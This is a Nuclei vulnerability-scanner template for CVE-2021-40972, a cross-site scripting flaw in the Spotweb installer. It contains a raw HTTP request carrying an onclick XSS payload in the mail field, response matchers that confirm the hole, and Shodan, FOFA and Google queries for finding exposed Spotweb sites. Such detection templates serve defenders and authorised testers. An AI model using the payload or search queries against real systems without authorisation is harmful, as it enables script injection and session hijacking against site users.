nuclei-templates/http/cves/2021/CVE-2021-40972.yaml

63 lines
2.1 KiB
YAML
Raw Normal View History

2023-06-05 07:03:16 +00:00
id: CVE-2021-40972
info:
name: Spotweb <= 1.5.1 - Cross Site Scripting
author: theamanrawat
severity: medium
description: |
Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the mail parameter.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
2023-09-06 12:09:01 +00:00
remediation: Fixed in version 1.5.2
2023-06-05 07:03:16 +00:00
reference:
- https://github.com/spotweb/spotweb/
- https://github.com/spotweb/spotweb/issues/711
- https://nvd.nist.gov/vuln/detail/CVE-2021-40972
2023-07-11 19:49:27 +00:00
- https://github.com/spotweb/spotweb
2023-06-05 07:03:16 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-40972
cwe-id: CWE-79
epss-score: 0.00152
epss-percentile: 0.50482
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
2023-06-05 07:03:16 +00:00
metadata:
verified: "true"
2023-09-06 12:09:01 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: spotweb_project
product: spotweb
shodan-query:
- title:"SpotWeb - overview"
- http.title:"spotweb - overview"
2024-05-31 19:23:20 +00:00
fofa-query: title="spotweb - overview"
google-query: intitle:"spotweb - overview"
2023-12-05 09:50:33 +00:00
tags: cve,cve2021,xss,spotweb,spotweb_project
2023-06-05 07:03:16 +00:00
http:
- raw:
- |
POST /install.php?page=4 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
settingsform[mail]=pdteam'+onclick='alert(document.domain)
matchers-condition: and
matchers:
- type: word
part: body
words:
- "onclick='alert(document.domain)"
- "Spotweb"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a004730450220452459bdae0b91da1a10bcfdd4d4162c8c0b19a10a97ae7a3a38361f2b932add022100ea1aade94fa3178ba6e8a4a5aaf770f1c7b699bc9257d11bf2de9400cd3eb150:922c64590222798bb761d5b6d8e72950